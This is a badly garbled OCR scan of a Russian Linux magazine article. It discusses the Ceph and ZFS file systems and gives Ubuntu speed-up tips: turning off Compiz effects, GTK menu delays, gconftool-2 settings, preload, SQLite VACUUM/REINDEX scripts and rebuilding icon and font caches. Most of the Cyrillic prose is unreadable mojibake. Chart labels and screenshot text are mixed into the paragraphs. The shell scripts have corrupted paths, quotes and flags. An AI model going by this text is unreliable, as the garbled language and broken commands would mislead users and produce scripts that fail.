B OTn"""e or xnacrepaux q,a"nDBbIX C"CTeM, TaK"X KaK GFS, OCFS2" GPFS, «oropsie onapaiorca Ha cV1MMeTpIll4Hbl~ nocryn scex KnllleHTOB K 06W,IIIM 6no4HbiM YCTpOIl1CTBaM, Ceph pa3,D,eJl51eT ynpaane-uie ,ll,aHHbIMVl V1 MeTa,ll,aHHblMII1 nYTeM lt1cnOJlb30BaHlIIs:I He3aBlllCIIIMbiX KJlaCTepOB (npI!IMepHOTaK>Ke, KaK 3TO nenaer LustreJ. O,JJ.HaKD, B OTJllll4111e OT nOCJle,D,He(ii, yanu, ynpasJl$1IOw,V1e MeTa,lJ,·aHHbIMIIIIII XpaHV1JlIl1l.L1,eM, He rpebyior KaKo(ii 5bl TO HIII5blJlO nO,Il.,Il.ep>KKIll co CTOPOHbl snpa: BeCb KOA pafioraer B npOCTpaHCTBe nonsaoaaTen51. ,D,nS1 xpaHeHIII51 06beKTOB,IJ,aHHbiX Y3Jlbi MOryl IIlCnOJlb30SaTb 5Jl04Hbie

XAKEP 06 /137/ 10

Write Performance over Time

Block Reads
120
100
eli 80
'"
60
40
20 .EXT4 .64k
.128k .32k
250
200
J!1 150
CO
2
100 Writes (MB)

n~O~3BOA~TenbHOCTbSOFS

B 3aB~C~Mocn1 OT KOnW-IeCTBa 3an~C~BaeM~XAaHH~X

YCTpOf1CTBa, obpasu "n" H"3ne>Kal11Y1O q,af1noBYIO C"CTeMY. KorAa OA"H"3 Y3JlOB naer c6oVl. ,lJ,aHHble penJlVlL.J,VlpYIOTC)=I CaMli1MlII Y3JlaMVI, onaronapa 4eMY nocrvraercs BbICOKV1111 yposeHb 3¢cpeKT!I1BHOCTVI V1 Macwra5V1pyeMDcH1. Cepaepu. OTBe4alOUJ,V1e aa XpaHeH\I1e MeTaAaHHblX [metadata server], npezicrasnsuor ccfiof He4TO apone 60JlbWOro COfnaCQBaHHOIO pacr penene-uroro ksura H3 sepunu-e xnacrepa-xpaaanwu.a. KOToPblVi ,lJ,V1HaMII1'-leCKVI nepepacnpenenser Mera,lJ,aHHble B orser Ha V13MeHeHlt1e HarpY3KII1 VI nerxo nepeuocvrr BbIXOp, Y3JlOB \113 CTPOs:l. Metadata server V1CnOJlb3yeT oco6blVl nonxon ,lJ,Jl$1 xpaHeHVlI=I Mer3AaHHbIX, KOTOPblVi noaaonaer ,lJ,OCTV14b BbICOKV1X noxasarenea np0Y13Bop,I.1TenbHOCH1. Hanpuvep. inode-aarmcs. Y1MelOw,as:! TOJ1bKO Op,Hy >KeCTKYIO CCblJ1KY, noveuiaercn nps:lMO S xaranoroeyro 3am1Cb n03TOMY KaTaJ10r SMeCTe co SCeMl-1 ap,pecyeMbIMl-1l-1M inode'aMl-1 MO>Ker 6blTb sarpyxea S K3W C nOMow,b~J Op,HO~ onepaunu aeona-asraona. COp,ep>KY1MOe O'-leHb 60nbWY1X «arenoroe cpparMeHTY1pyeTcs:I \11 0 uiaercs ua ynpaanetu-e He3aBIIICl-1MbIM metacata-cepaepau. 6naro,[laps:l yeMY onepauiuo nocryria K «aranory MO>KHOnerKO pacr apannenurs.

no cnosaM asropa Ceph, HaY160nee Ba>KHOe ,D,OCTOY1HCTBO ero CDC 3aKnlOyaeTCs:I 8 n0J1HOCTblOaBTOMaTII13I11p08aHHOM MeXaHII13Me pefianauCVlPOBKII1l-1 MVlrpaLJ,V1l-1 nplo1 MaCWTa6111posaHVIVI OT He6oflbworo <r.acrepa. cocrosuiero 1013 HeCKOflbKlIIX Y3flOB. no xnacrepa KOpnopaTV1BHblX MaCWTa- 60B, 8 KOTOPOM Y4aCT8YlOT HeCKonbKO COTeH Y3flOB. 3TOT npou,ecc rpebyer MII1HV1MaflbHoro BMewaTenbCTsa ap,MVlHII1CTpaTOpa, HOBbie Y3nbl MOryT 6blTb nop,KnlO4eHbl K «nacrepy, l-1 ace 6yp,eT «npOCTO pafioran,».

4TOTAM CZFS?

Ha cerop,Hs:lWHV1~·,lJ.eHb ZFS OCTaeTCs:I caMO~ npop,8V1Hyro~ ¢a~J10BO~ 01(TeMOVl, auanoros KOTOpO~ HeT He TOJ1bKO B Mlo1pe Open Source, HO V1 8 cpep,e KOMMep4ecKoro no. OHa 6blCTpa, HaAe>KHa, IIIMeeT6oraTbl~ ¢YHKu,VlOHan

VI HeBepOs:lTHO npocra B ap,MVlHVlCTplllpOBaHIIIl-1.V13HayaJ1bHO C03,1J,aHHas:! KOMnaHVle~ Sun Microsystems [npV1BeT Oraclel p,ns:! onepaunoa-roti CIo1CTeMbl Solaris Y1 aHOHClI1pOSaHHaSi B 2005 rony. OHa cpasy crane naKOMblM KYC04KOM p,nSi nor ssoaarer eu a pa3pa6oT4V1KOB upyrax OnepaLJ,V10HHb1X CVlCTeM. O,D,HaKO nanexo He sceM 1-13 HViX ynanocs n04YBCTBosaTb ee SKyC.

nepBblMY1 npeTeHp,eHTaMY1 Ha BKfllOyeHY1e KO,lJ,a ZFS B CBOIO OC crann. KOHe4HO xe. IlVlHYKCOIIIP,bl, rorosue Taw,V1Tb 8 snpo see. 4TO He npVlBV1H4eHO 60flTaMY1. Ho cy,lJ,b5a [pOJ1b KOTOPOlll, cxopee scero, csirpana casta Sun]

XAKEP os /137/10

pacnopanunacs Io1Ha4e. Ko,lJ, ZFS, KaK!Ii Bce~ onepauaouuof CIllCTeMbl OpenSolaris, oxasanca aauuuueu flll1u,eH3V1elll COOL, «oropas HaKnap,blsaer cepbe3Hbie orpaHlIl4eHIo1s:1 Ha era IIlcnOflb30BaHVle 111, fionee Taro, COBepweHHO HeCOBMeCTIllMa cfllllu,eH3Io1e~ GPLv2, IIlcnoflb3yeMoil1 Si,lJ,POM Linux. CDaKTVl4eCK!Il 3TO 03Ha4aeT. YTO eCTb TOIlbKO TpV1 nyrV1 SKflI04eHVls:! ZFS B s:!,D,pO:

HeneraflbHbl~, KOTOPbl~ BKfl104aeT B cetis nepeucc ZFS 6e3 co6fllOp,eH!Ils:! 3aKOHa 05 aSTopcKOM npaae. IOMopVlcn14ecKIIl~, npVl KOTOPOM KO,lJ, Linux nuueusupyerca non COOL, Y1 n1TaHlllyeCKV1~, xorria orpovuaa KO,lJ,Osas:! 5a3a ZFS nepenncueaercs non GPL,,n,a ew,e 1:1 C 06XO,lJ,OM Sun'oscknx naTeHTOB. B o6w,eM - He KOMl-1flb¢O, n03TOMY ep,VlHCTBeHHbl~ cnocof 3ap,e~cT80BaTb ZFS B Linux - 3TO ncnonsaoaers ee nOpT Ha luse [hltp:Uzls-luse.nell. crpa,lJ,afOw,l-1~ 5araMV1 VI H!I13KOIII np0V13BO,lJ,II1TeflbHoCTbfO, «oropas B CV1IlY apXY1TeKryPHblX ocobeuuocren ZFS SpH,lJ.nY1 CMO>KeT nOBbICY1TbCs:I 6e3 nepeuoca XOTI=! 5bl 4aCTVI xona B snpo. KOMnaHVlI=! Apple TaK>Ke nnaauooaana SHe,lJ,peHVle ZFS B Mac OS X III ,lJ,a>Ke ycnena sblnycTIIITb 3KcnepVlMeHTaflbHbl~ ,lJ,pa~sep V1 BHeAP"Tb nOAAep>KKY 4TeH"" ZFS B BepC"1O 10.5 Leopard, OAHaKO B OKT"6pe 2009 rona npoexr 3aKpblnY16e3 o6bs:!cHeHY1H npY14It1H. Y4lt1Tblsas:! TO, 4TO flY1u,eH3I1lR BSD, nokpueaiouiaa KOp, s:lApa Mac OS X, nosacnana 5e3 npofine» nepeuecra ZFS B OC aT Apple c MV1HIIIManbHbIMI-13aTpaTaMII1, TaKO(;i nocryno« MO>KHO 05bRCHltlTbnl-160 ,lJ,aBneHl-leM co CTOPOHbl Sun, flY150 rn06anbHblMVI Vl3MeHeHI-1SiMY1BnnaHaxcaMo~Apple

B anpene 2007 rona [laeen ,iKy6 /1aB"AeK 3aKOH4"n nopruooeauve ZFS

B FreeBSD. Ha npOTs:I>KeHI-1V1 ,lJ,ByX ner KOp, 6bln nOMe4eH KaK 3KCnep1-1MeHTanbHbl~, HO nocne IIlcnpaSneHVlI=! psna npofineu pa3pa6oT4Y1K 06bs:lSV1n 0 cTa6Y1IlVl3aLJ,Y1V1 nopra, 11115 OKTs:l6ps:l npownoro rona FreeBSD crane nepacu OC nocr e Solaris, rOTOBO~ K npoMblwneHHo~ 3KcnnyaTau,Y1V1 ZFS. no COCTOs:!HI-1IO Ha 11 smsaps:! 2010 rona BOCbMaR BeTKa FreeBSD nOflHOCTblO nOAAep>K"BaeTZpool v14 [TeKYl11a" BepC"" ZFS B OpenSolaris: zpool v16). Pa60Ta no nOAAep>KKe ZFS senacs a pa3pa60T4"KaM" NetBSD. B pavxax ripoexra Google Summer of Code 2007 6bln npencrasnea Ha4anbHblf1 [HO Hepa6oTalOw,VI~1 nopr ¢aVlJlOBO~ CV1CTeMbl. Pa60Ta no p,OBep,eHV11O KO,lJ,a,lJ,O YMa npononxunaci, Ka" 4acTbSummer 01 Code 2009," B a srycre 2009 rona nOAAep>KKa ZFS 6blna A06aBneHa B pen03"TOP"f1 NetBSD.

Heoonsuras 4aCTb KOAa ZFS orxpsrra nOA GPL, 6naroAap" 4eMYYAanocb !IlHTerpVlpoBaTb ero B 3arpy341!lK GRUB, I<OTOPblW reneps YMeeT BblnOflH$1Tb 3arpy3KYc ZFS-pa3Aena.X

~ 081

OTKJ1IOLfEH~E COMPIZ

Compiz -KOMn03V1THbl~ MeHe,o,>Kep OKOH p,n$'! X Window System, "CnO"b3YID1l1"" OpenGL A"" YCKopeH"" 3D-cpaep"K". OH npenccraanser MHO>KeCTBO HOBblX rpa¢V14ecKV1x 3¢¢eKTOB, AOcrynaux B nt06blX cpe,o,ax pabo-rero cror a. B TOM ""c"e GNOME" KDE. Ec"" YTe6" YCTaHoBMHbl p,paC1sepa Ans:! BIr1AeOKapTbl, TO, cxopee acero. MeHeA>Kep BKm04eH. nOMHII1, LlTO BVlAeOKapTa c Compiz, BKnlO4eHHbiM B pe>KII1Me «npOt.13BO)J,lt1- TenbHOCTb no sanpocy». nOCTO~HHO pafioraer

Ha noru-yo HarpY3KY VI He C06t.1paeTCs:I cfiaamHb 060pOTbi seHTV1mnopa. Ecnil1 X04eWb OT Bt.1p,eOKapTbl TVlWItlHbl wnV1 Sepexeu.t, KV1nosaTTbl, cOBeTYID ynpocrwre 3epepeKTbi Campiz """ OTKflIOY\;1Tb era (DBceM. B nepsov cny-tae Hy>KHO YCTaHOBVlTb naker cornpizconfq-settinqs-

ma nager 4epe3 CV1 Ha nru« \IIJl V1 B TepMVl uar e CKOMaHp,osaTb:

~ 082

$ sudo aptitude install compizconfig-settings-manager

YTo6bl nonY4V1TbAoCTyn K B03MO>KHOCH!M Compiz (;1 ynpOCT(;1Tb ?¢¢eKTbl no caoeuy sKyey, npOXO,Ll,IIIM no MapwpyTy MeHID -7 C"CTeMa -7 napaMeTpbl -7 MeHeA)f(ep HaCTpO"K" Compiz Config. Ec"" xenaeuis npocro OTKnKJ4111Tb Compiz, TO 3TO MO>KHO cnenars -repes nyHKT MeHIO ~ CIIICTeMa ~ napaMeTpbl ~ BHeWHVI~ BVlA, B aaxnanxe «BHeWHIII~ BIII,Ll,» B:,ICTaBIII «6e3 3¢¢eKTOS».

YMEHbWEH~E 3AAEP>KEK GTK

B Ubuntu pa60ye" cpeAO" "BneeTC" Gnome, rne Sa>KHYIO pens urpaer GTK. V13MeH>i~ HaCTpO~I«(;1 aroro ry.ucvrra. MbIBJlIl1S1eM Ha ace npIIIJlO>KeHVlS1, (;1CnOJlb3ytoUJ,l-1e era. n pennarao nO,Ll,KpYT(;1Tb naperae-p a. OTBe4alOUJ,l-1e aa 3a,o,ep>KKI-1:

$ gedit -/.gtkrc-2.0

*## MIII.HMManbHoe a pe xa B MJlfrrnM.ceKYH~ax, B TeqeHMe KOToporo

y x a a a'r ems )lOJDKeH OCTdSdTbC.T! »e rrYHKTe MeHIO rte p e.n nOHBJIeHl1eM nO,lJ;MeHIO

gtk-menu-popup-delay = a

### BpeMH B MMnnI1CeKYHp,ax n e p e n CKpblT11eM rtom-re ao • x o r-na YKa3aTeJIb nepexeuae-rc.a a a nO,QMeHIO gtk-menu-popdown-delay = 0

it # # Sencpaxe B MMJIJIVICeKYH,IlaX rte'pen nOHBneHVIeM nO,lJ;MeHKJ nocrre nanena MeHiO gtk-menu-bar-popup-delay = 0

IOBEJ1~PHAfi HACTPOHKA GNOME

B Gnome HaCTpot;iKI-1 xpauarcs no aHa.nor(;11r1 c peecrpor- MS Windows, CTOVI JlIIIWb pa3HiI1LJ,eVl,

XAKEP 06/137/10

Onn-1MVl3AUVl51 XML

B CTPYKryp"pOBaHHbIX q,a"nax XML MHOr"e npOrpaMMbl B Ubuntu XpaH"T H2CTPOVlKlI1 V1 p,aHHble. ECTb B03MO>KHOCTb npeofipaaoaar s XML 1113 «4I.1Ta- 6enbHOrO» q,OpMaTa, nOH"THOrO yenOBeKY, B q,OpMaT, YA06Hbl';; KOMnblOrepy, npe06pa30SaHHbie XM L -¢aVinbl 6blCTpee 3arpY>K2IOTC)=Il;1 3aHV1MaIOT MeHbWe 03Y. B TaKOM npeofipaaoea-u-« nouoryr CKpVlnTbl, «oropue MO>KHO eKa4aTb no anpecy: www,gnomefiles.orgiapp,php?soft Id=1397. PacnakoBblBaeM nonyyeHHbl';; apxua ldesktop-optirnizations.tar.qzl a no 04epeA" sanyckaeu CKpll1nTbi OT 06b14HO~ Y4eTHoVi 3am1Cl!I:

1, rhythmbox-quiekstart OnT"MI<3"pyer q,a';;nbl MY3blKanbHoro noovrcusaTen" Rhythmbox;

2. evolution-optimize onnlMiI13l11pyeT cpaVinbl nOYTOBOtll nporpaMMbl Evolution;

3. gnome-optimize onTlIIMlI13l11pyeTcpaillnbi Gnome;

4, openoffiee-optimize OnT"M"3"pyer q,a';;nbl ooncuoro naxera OpenOffiee. org;

5, doc-optimize OnT"M"3"pyerq,a';;nbl nOMOll1" Gnome;

6, geonf-optimize OnT"M"3"pyerq,aHnbl KOHq,"rypa~"H Gnome [«peeerp» Gnomel

Ecnlll B ClI1CTeMe HeCKonbKO aKKaYHTOB, TO cxpurrru rhythmbox-quickstart

1. YKa>t<eM Metacity He lIIcnOJlb30SaTb aHlIIMaLJ,lI10HHble 3¢cpeKTbl, CH1I13li1B TeM V1 gconf-optimize Hy>KHO 3anYCK2Tb or Ka>KAOIl1 yLjeTHO~ aanuca. Hlt14erO

caMblM norpefineune pecypcOB: crpaun+oro He np0lt130V!p,eT, eClllt1 TbI3anYCTlt1Wb ckpwtru HeCKOllbKO pa3-

onru M VI aa LJ,lt1S:! «yxe OnTlt1Mlt13lt1POB3HHoro» He paapyururensua. >KenaTenbHO $ gconftool-2 - -type bool - -set / apps/metaci ty /general/ nepe3a~TV1 B CII1CTeMY nocne OnT~1Mlt13aLJ,lt1V1 XM L)J,ns:! roro, 4T06bl Vl3MeHeHVlS1

0. CneUI,allbHble B03MOl-KHOCH'

D~CobO<lIlt.,

o a zoom OQ!'.IOQ

Ogflyn3

a !@ ~;::::';.

Cr3l±A3PT: nOBblweHHoe VA06cTBO Io1CnOllb:JOB3HIo1R

\ ~~~:~:~:~~HX~;~~~: T~:~~~~~:R::W:Y

np0Io1380,!l)lTenbHOCTIo1CIo1CTeMbi.

3~CTpa: Q6ecne'mB3ar H31160nee

\ ::~~~~~T=;~~~~V~~~~~:~r::;r08.

BIo1D.&OKapTa.

Pena ~TOp KOHcpvn-ypauvH1 Gnome

4TO «peecrp» Gnome - :310 XML -¢a~nbl. ,D.ocryn K HViM MO>KHO ncny-urr» -repes penaxrop KOHq,"rypa~"" geonf-editor "n" -repes 8bl30B KOMaHl1bl gconftool-2. YTo6bl YCKOPVlTb speMS1 OTKm'lKa «peecrpa», npennpn Mel'vl

Ecnu Y Te6S1 YCTaHoBneH pe>Klt1M, npV1 KOTOPOM 80 BpeMS1 HaBe,n,eHVlT! MbIWlt1 Ha OKHO orxpsrroro nplt111O>KeHVlfl nocnenuee BbIABlIIraeTCs:! Ha nepep,HV1~ nnau, TO MO>KHO nOTBVlKaTb napaverp auto_raise_delay, KOHTpOJll'lpylOW,lt1~ sanepxxy Me>KAY HaBeAeHV1eM MbIWIIIlt1 Bblp,Blt1>KeHlt1eM OKHa'

$ gconftool-2 --type integer --set /apps/metacity/ general/auto_raise_delay 100

EAlt1HCTSeHHoe, 4TO Blt13yanbHo lt13MeHlt1TCS1 - nplt1 nepeueuieuua OKOH He 6YAer orofipaxarsca conepxuuoe:

2. BblKll104V1M aHIltMaLJ,1It1O BKnI04eHVlSi/BbIKnI04eHVls:! naHene~:

reduced_resources true BCTynVlnf;1 B CVllly.

Cxpunru OnTlt1MVl3I!lpYIOT KaK cpar:1nbl B AOMawHeill,n,VlpeKToplt1lt1, TaK Vl Clt1CTeMHbie cpa~Jlbl, aanpauruaaa nplt1Blt1nerlt1Vl4epe3 sudo. CKplt1nTbl nenaor peaepaaue KOnlt1l1t, HO ecnu npn AJllt1TeJlbHOJl! npoueziype OnTlt1Mlt13aLJ,lt1V1 y Te65=1lt13-3a c60s:!3J1eKTpOCeTlt1 nepeaarpyanrcs KOMnbIDTep. TO peaynsraru,

B03MO>KHO, 6YAyT HeO,D,H03Ha4Hbl V1 nna4eBHbi. Hanlt14l!1e V15n npueercray-

$ gconftool-2 --type boo 1 --set lapps/panel/globall enable_animations false

3. OTKJ1104lt1M ecnoucrarensnse rexuonorun xnaaaarypa, MblWlt1lt1 T.,IJ,., npeAHa3Ha4eHHbie AIls:! J11O,D,eill C orpaHVl4eHHblMlt1 B03MO>KHOCH1Mlt1:

$ gconftool-2 --type bool --set Idesktop/gnomel interface/accessibility false

$ gconftool-2 --type string --set lapps/panel/globall panel_animation_speedpanel-speed-fast

XAKEP 06 /137/ 10

eTCSi.

YCKOPEHVlE 3AnYCKA npOrPAMM, VlCn0J1b3YK)LU~X QT

TpaA"l1"OHHO c-nrraercs. 4TO Gnome +aro GTK, a KOE +oro Ot, HO nonssoaarerno HVl4TO He MewaeT 3anYCKaTb nporpaMMbl GTK B KDE. a ot nporpavMbl B Gnome, Ilaxe bonsuie: ABropbl Gnome" KOE MHoroe CAenan", 4T06bl «4Y>KV1e» nporpaMMbl BHeWHe BblrllS1AenVi TaK>Ke, KaK «ponuue». Cen-rac Mbl paccuorpau. KaK YCKOplt1Tb 3anYCK nporpaMM, Hanlt1CaHHbIX C ucnorn-aoaaHlt1eM Ot B Gnome. B ,lJ,et:1cTBlt1TenbHOCTlt1, Ot'wHaT! npora MO>KeT He aaaucers OT KDE, HO Vlcn0J1b30SaTb B03MU)KHUCllt1:? I o~ cpenu. AnSi sroro npn crapre OHa ,lJ,On)KHa nonYYV1Tb «M\I1HVlMaJlbHbl~ Ha60p KDE». KaK Y3HaTb, KaKlt1e nporpaMMbl 3aB"C"T or KOE? B TepM"Hane l1aeM KOMaHI1Y:

_.wgucharmap !'-IgWd

t> ff.lgwibber

Iii tagnc

t.)llldicator.sessloll I> ...Jliferea !Qmalljolle!

~workspace_llames

Ilautllus

~nautilus·actlOIlS

....I NelWor\(MallaierApplet

nm.acoret

7,MnotificatiOn.daemon

Sans Bold 10 ~titiebar_uses_system_fOn\ 0

OnMcaHMeKllIO'Ia

/apps/metaclty/general/reduced_resources

eneneneu KI1IO'Ia: metacity

EcnIll3TOTKflIO'IycTaHOBneH.ToMetacity

Kparxoe onacanae: acnoneaver MeHbwe CIilCTeMHblX pecYPCOB aa

ever nOHIoI)!(BHHoro yD,OOCTBa B IoIcnOnb30BaHIIIIII.

nO£IP06HOe onacaaae: If true. metacny wllll!lve the user less feedback by using

wireframes. avoiding animaUons. or other means. This is a significant reduction In usability for many users. but may anow legacy applications to contlnuBwor\(ing. and may also be a

"'" .. '"I .. """"ff'''' ... ''''ln<>io .. ''.,''''I,I''''''''''<''.h''' .... I,,,',,,.,''''

~ info

• n poeepurs

creneus 0T3bIB4l<1- BOCH1l<1HTepq,eillca n03BOn"T GTKPerf: linux~~o~lpedia. ~progDownlQacjj illkPMfDownload-6715.htm!

·npl<1MeH51i:1 COBeTbl no 0AHOMY, Ka>K,D,bli1t pas xenarensuo nepeaarpyxars Cl<1CTeMY. nposep51i:1 snl<151Hl<1e COBeTa BpeMeHeM, He TOpOnl<1Cb.

PenaKTOp KOHsbvn-ypauViVI Gnome

$ sudo aptitude search '-i!--nlib{-~Dqtl-~Dkde)'

Ha 3KpaH 6YAYT SblSe,D,eHbl naxersr. KOTopble YCTaHoBneHbl ['-i'J Vl3TO He 6"6n"OTeKa ll-rilibl VI B 3aB"C"MOCT"X e cr s Ot l<Dqtl VlJlVl B 3aB"C"MOCT"X ecrs KDE ['-Dkde13apaHee 3anYCKa" <'M"H"ManbHbl" Ha60p KDE" III y..o.ep>Kl<1Ba51 B naM)=!TIII COOTseTCTSYlOll.\lIIe 6l<16nIllOTeKVI,

Mbl ..o.06beMC51 YCKopeHl<151 npu crapre 3H1X nporpaMM.

TplOK BeCbMa npocr: B MeHfO 7 Cl<1CTeMa 7 napaMeTpbl

7 3anycKaeMbie npVlIlO>K8HIII51 A06aBfl51eM 3anycKaeMYfO nporpauvy /usr/bin/kdeinit nOA "MeHeM FastQt. Bce,

noc ne nepeaarpyaxn KOMnbKnepa TBOl<1 Qt-nporpaMMbl 6YAYT crapro aars 6blCTpee.

YCKOPEHIo1E 3AnYCKA npOrPAMM C nOMOLUblO PRELOAD

Preload - ,QeMOH, pabotaouma a q,OHOBOM pe>Kl<1Me, KOTOPblYl C06l<1paeT l<1Hq,opMau,VlIO 0 Hal<160Ilee 4aCTO Vlcnoflb3yeMbix nporpaMMax, K3Wl<1pyeT V1X Vll<1CnOIlb3yeMble ~1Ml<1 6l<16fll<10TeKl<1, 4TO npl<1BO,QVlT K nOBblweHV11O CKOpOCTVl3arpY3KV1 nporpavv. HY>KHO npoCTO YCTaHOBl<1Tb preload KOMaH,o,Otlt:

·Yy..o.ec He 6blBaeT. Co-

seTbl Illl160 3a,o,etltCTsy- $ sudo aptitude install preload

fOT CB060,D,HYfO naMIiTb,

Illl160 OTKnlO4a I{lT YTO- Vlnl<13anycTV1Tb CIllHanTl<1K, Ha~TVI B HeM preload VI YCTaHO-

TO ,D,Il)=! YCKopeHl<1)=!. SV1Tb ero. HaCTpOVtKl<1 preload no YMon4aHl<11O nO,D,XO,D,51T gn51 60flbwVlHCTBa nom.soearenea. n03ToMY !Il3MeH51Tb 4TO-fll<160 s cpa"ne /etc/preload.conf He Hy>KHO.

~ dvd

Ha npV1J1araeMOM

K xypxany A"CKe Tbl Hai:1,D,eWb CKpl-1nTbl optimizer.sh,sqlite_ shrink.sh

" rebu.Id jcache.sh.

~ 084

llE(KA5I OnTIo1MIo13AUIo151 <l>AIo1110BSOUTE

MHorVie nporpaMMbl B Ubuntu xpaH51T CBOV1 ..o.aHHble

He B TeKCTOBblX cpai1tIlax, a B 6a3ax ..o.aHHblx, l<1 4aCTO B KayeCTBe nOCfle,IJ,HVlX aucrynaor SQLite. Cpe,D,CTBaMVI TaKl<1X CY6,IJ, MO>KHO nOYVlCTl<1Tb nycr s.e 3anV1CV1 VI C03,D,aTb VlH,o,eKcbl cpaillfla 6a3bl ,o,aHHblx 3aHOBO. nepBblM ..o.eIloM YCTaHaBflViBaeM sqlite3 -re pe s Cl<1HanTII1K VlflVl Ha6l<1paeM B TepMIIIHane:

$ sudo aptitude install sqlite3

.Qanee C03AaeM CKp"nT An" OnT"M"3aw"" AaHHbix B CY5.Q SQLite. OH 6y..o.eT BblnOflHIiTb nepeaunekcaumo III yp,afleHVle lt13 Ta6flVlll, nycrux 3anl<1Cew.

$ gedit -/bin/optimizer.sh #!/bin/sh

### OrrTylMl!I3amI51 nna Firefox

find --I .mozilla/ -name' *. sqlite' -print -exec sqlite3 {} "VACUUM; REINDEX;" > Idev/null 2>&1 \; # #' # OnTIt1Ml!I3a~t15-1 ,ll,J15:1 Epiphany

find -/ .gnome2/epiphany -name' *. sqlite' -print -exec sqlite3 () "VACUUM; REINDEX;" > /dev/null 2>&1 \;

### OnTYlMlt13aLl,J.1.B zma Li ferea

sqlite3 -/ .liferea* Iliferea db "VACUUM; REINDEX;" > /dev/null 2>&1

exit 0

C nouoursro KOMaH)J,bl «chmod +X -/bin/optimizer.sh»)J,enaeM cpai1tfll<1CnOflH51eMbIM.

nepVlO,D,l<14eCKl<1 MO>KHO Bbl3blBaTb 3TOT CKpl<1nT npn aaxpsrrux nporpavvax. 4bV1 q,a~flbI6a3,D,aHHblx Mbl XOTVlM onTlllMVl3l<1- poaars

TOT~llbHA5IOnTIo1MIo13AUIo151 <l>AIo1110BSOUTE

B npeAblAYl11eM paaaene Mbl OnT"M"3"pOBan" SQLite-cpa"nbl AaHHbix 6pay3epoB Firefox, Epiphany" RSS-Y"TanK" Liferea. Ceili4ac HeMHoro ycnO>KHl<1M 3a..o.ayy. HaillAeM B AOMawHeili ,[IVIpexrcpuu ace SQLite-cpa"nbl" KOHKpeTHO"X 3aOnT"M"3"pyeM :I. YTO HaM nOTpe6yeTCO?

1. YCTaHosVi sqlite3 4epe3 Cl<1HanTl<1K VlJll<1 B TepMl<1HaJle, ecn» Tbl ew,e 3TOro He c..o.eJlafl·

$ sudo aptitude install sqlite3

2. C03Aa" cpa,," -/bin/sqlite_shrink.sh cnenyiouiero conepxaHl<151:

$ gedit -/bin/sqtite_shrink,sh #!/bin/sh

find -I -e i ze +100k -type f -printO I \

while read -d ' , FILE; do

abs_file_name=$ (readlink -f .. $FILE" I headfile='head -c 15 "$abs_file_name"';

if [ "$headfile" = "SQLite format 3" J; then file_size_do='du -b "$abs_file_name" Icut

XAKEP 06 /137/10

":_'~Io_'",,,,"'r.<

.1_ e Q~ OIe"O"'.·;""A-,."p.,,~

-f t ' ;

sqlite3 "$abs_file_name" "VACUUM; REINDEX;" > /

dev /null 2>&1

file_size_posle='du -b "$abs_file_narne" Icut -f L": echo U $abs_f i 1 e_name" i

echo "Pa ardep no $file_size_do" i echo "Pa aiaep nOCJIE $file_size_posle"; echo -n "ttpouea-r "

echo "scale=2 i ($file_size__posle/Sfi le_sizE_ do) *100" Ibe -1

fi done sleep 2 exit 0

3. CAe"afi -/bin/sqlite_shrinksh "cnOnH"eMbIM yepe3 HaYT""Yc "n" B T epM"Ha"e «chmod +X -/bin/sqlite_shrink.sh».

4. Teneps 3aKpoV! cea-rc B Ubuntu VI nepe~p,1I1 B KOHconb. Ha>KaB <Ctrl-Ait-Fl >, 3anOrll1HbC5i 8 KOHCon!l1 V1 KOMaHp,yV!:

$ sudo /etc/init .d/gdm stop $ sudo /etc/init .d/kdm stop

$ -/bin/sqlitE_shrink. sh > -/report_sqlite_shrink txt

5. ,Ll,O>K,D,II1Cb OKOH4aHV1~ pabo ru cxpnrrta !11 nepe3arpY>Ka~c$1:

$ sudo shutdown -r +0

noc.ne roransuof peVlHAeKCaLl,!I1Vl cpati1noB ace nporpaMMbl, II1cno.nb3YIOw,lI1e SQLite, nony-iar Bblll1rpblw. A KaKVle V1MeHHo? Y!I1Tatii -/report_sqlite_ shrink.txt, B HeM yBlt1,D,I-1Wb !I1MeHa cpati1noB, pa3MepA0!l1 nocne Ljl!\CTK11

" pea+uiexcauaa. flI06"Te"" Google Chrome" KDE TOYHO 6YAYT paAbl ,D,aHHoMycoBery. nep!l10A!t14ecKV1 nOBTOp~tI1 np0Ll,eAYPY, VI OCBe>KalOw,!I1V! ,<p<peKT rapasrapoaau.

C03AAHHE K3WE~

GTK+ MO>KeT V1Cn0J1b30SaTb cpa~nbl K3wa, C03AaHHbie gtk-update-iconcache, YTo6bl1-136e>KaTb J1V1WHVlX O1CTeMHbIX Bbl30BOB V1 p,VlCKOBbIX onepaLl,V1ti1 npa aanycxe npV1.nO>KeHVlw. TaK KaK cpopMaT K3W-¢a~J10B n038onS1eT MHO>KeCTBY npV1JIO>KeHV1Vr lrnrnaolled] COBMeCTHO IIIX V1Cn0J1b30SaTb, obuiee ncrpefine-me naM>1Hl TO>Ke cokpeuiaercs. HaM OCTaeTC$1 nep!l10,D.VlYeCKII1 aenycxare cxp.irrr, KOTOPblii1 asraeraeer gtk-update-icon-cache, V1 ccaaaaar» K3W!I1, yCKOp~K)w,lIIe nocryn K TeM 3HaYKaM, Bbl30seM 3aO,D,HO fc-cache, KOTOPbl~ C03AaeT OnV1CaHltl51 A.n~ WpvrCPTOS.

XAKEP 06 /137/10

$ gedi! -/bin/rebuiLd_cache.sh #!/bin/sh

### ooaoarraaaa K31l1a H.KOHOK B caoesr nanxe

for d in --I .icons/*; do gtk-update-icon-cache -f $d; done

### ooaoeneaae K31Ua YlKOHOK S CMCTeMe

for d in lusrlshare/icons/*; do sudo gtk-update-iconcache - f Sd : done

# # # 06HOBJ1eHJile K:311Ia mpJ1¢TOB sudo fc-cache -fv

fc-cache -~/ . fonts

Cnenaji cpa~n VlCnOnH>1eMblM c novouu,o KOMaHp,bl "chrnod +X -/bin/ rebuildcache.sb" Ecnlll notiaanseun, B CVlCTeMY HOBbie Wpvr¢Tbl III TeMbl Gnome. TO 3anYCKafi CKP"nT -/bin/rebuild_cache.sh, KOTOPbl" nOCTpO"T A""

1011.$_ HII1X K3WVl .

K3WHPOBAHHECHMBonbHblXTA6nHLl

C03p,a~ nycrof ka'ranor:

$ rnkdir -~/. compose-cache

Tencps TBO" Qt/GTK nporpaMMbl 6YAyr -ryro« bucrpee craproaars a nOTpefinnrs MeHbwe naM"T", 6"aroAap" TOMY. YTO libXll 6YAeT cosnaeare B -/.compose-cache K3WIII pacnapcer-uoa VlHcpopMaLl,VlIII III ucnonescaare ee nOBTopHO.

nOAKA4KA UBUNTU

